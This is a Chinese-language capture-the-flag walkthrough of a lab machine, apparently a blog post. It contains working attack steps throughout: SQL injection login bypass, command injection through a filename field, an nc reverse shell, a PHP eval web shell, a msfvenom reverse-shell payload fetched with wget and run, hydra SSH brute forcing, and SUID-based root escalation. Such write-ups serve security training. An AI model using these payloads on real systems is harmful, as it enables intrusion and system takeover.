1
nmap --min-rate 100000 -sT -p- 192.168.1.16

image-20250120211606265

1
就开了22和8080
1
whatweb 192.168.1.16:8080

image-20250120211657929

image-20250120211835174

image-20250120212030348

1
问了ai,这三个都用不了.
1
2
gobuster dir -u http://192.168.1.16:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.htm
l,.js,.sh,.txt
1
nikto -host 192.168.1.16 -p 8080
1
dirb  http://192.168.1.16:8080/

image-20250120212800176

1
2
综合来看就这4个目录了
打开http://192.168.1.16:8080/ 是个登录页面尝试注入password

image-20250120213754231

1
用字典生成器生成一些特殊字符,

1
2
用bp爆破一下发现"报错 select * from code where password="' + password + '"')

image-20250120214018429

1
尝试"or 1--+ 登录成果

image-20250120214424490

1
这是一个扫描器,可以输入上面任何一种文件,这让我想起来之前遇到过ping命令,可以通过;|&来拼接命令

image-20250120215055986

1
2
3
nc可以用来反弹shell
靶机可以用|来执行第二条命令,那么
bash|nc -nv 192.168.1.7 1001 -e /bin/bash

image-20250120220155649

1
2
3
4
5
6
不行!也不能nc -h查看帮助

能否用cat命令直接写shell
filename=bash|cat > shell.php << EOF
<?php @eval(\$_REQUEST['cmd']); ?>
EOF

image-20250120221101199

image-20250120221133585

1
写进去了,但是访问不了,忽然想起来这是Python框架搭建的网站
1
2
3
4
发现目录下面有sql文件,直接cat比较乱,能不能通过Python开一个端口
python -m http.server --Python3
python -m SimpleHTTPServer 8000 --Python2
发现Python2能开

image-20250120222431983

1
2
3
4
5
6
7
8
9
直接打开看也是乱码
使用sqlite3
$ sqlite3
SQLite version 3.45.3 2024-04-15 13:34:05
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open database.sql
sqlite> .dump

image-20250120222704340

1
2
爆出4个密码
用hydra尝试爆破ssh,就这3个账号了

image-20250120222836186

1
2
hydra -L u.txt -P p.txt ssh://192.168.1.16
没正确的,无语了,这跟正常的靶机不一样,服了服了
1
2
3
人生往往是山重水复疑无路,柳暗花明又一村
我发现有wget可以用
用msf生成Linux马,尝试直接上线msf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
msf6 > msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.7 LPORT=1002 -f elf -o shell.elf
[*] exec: msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.7 LPORT=1002 -f elf -o shell.elf

Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shell.elf
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.7
LHOST => 192.168.1.7
msf6 exploit(multi/handler) > set LPORT 1002
LPORT => 1002
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.7:1002

1
2
3
4
分别发生三个包
filename=bash|wget http://192.168.1.7:8080/shell.elf
filename=bash|chmod +x shell.elf
filename=bash|./shell.elf

image-20250120225112368

1
不容易啊,真求不容易
1
接下来开始提权python -c 'import pty;pty.spawn("/bin/bash")'  获得交互式shell
1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 也可以直接上传LinEnum.sh

image-20250120230530544

1
这里是用这个来提权update_cloudav是用来更新这个查杀病毒的文件

image-20250120230750382

1
现在我重新生成elf文件来获得shell,不过这次不是直接./shell-root.elf而是通过  ./update_cloudav "-h| ./shell-root.elf"

image-20250120230901848

image-20250120231927290

1
到root

image-20250120231937495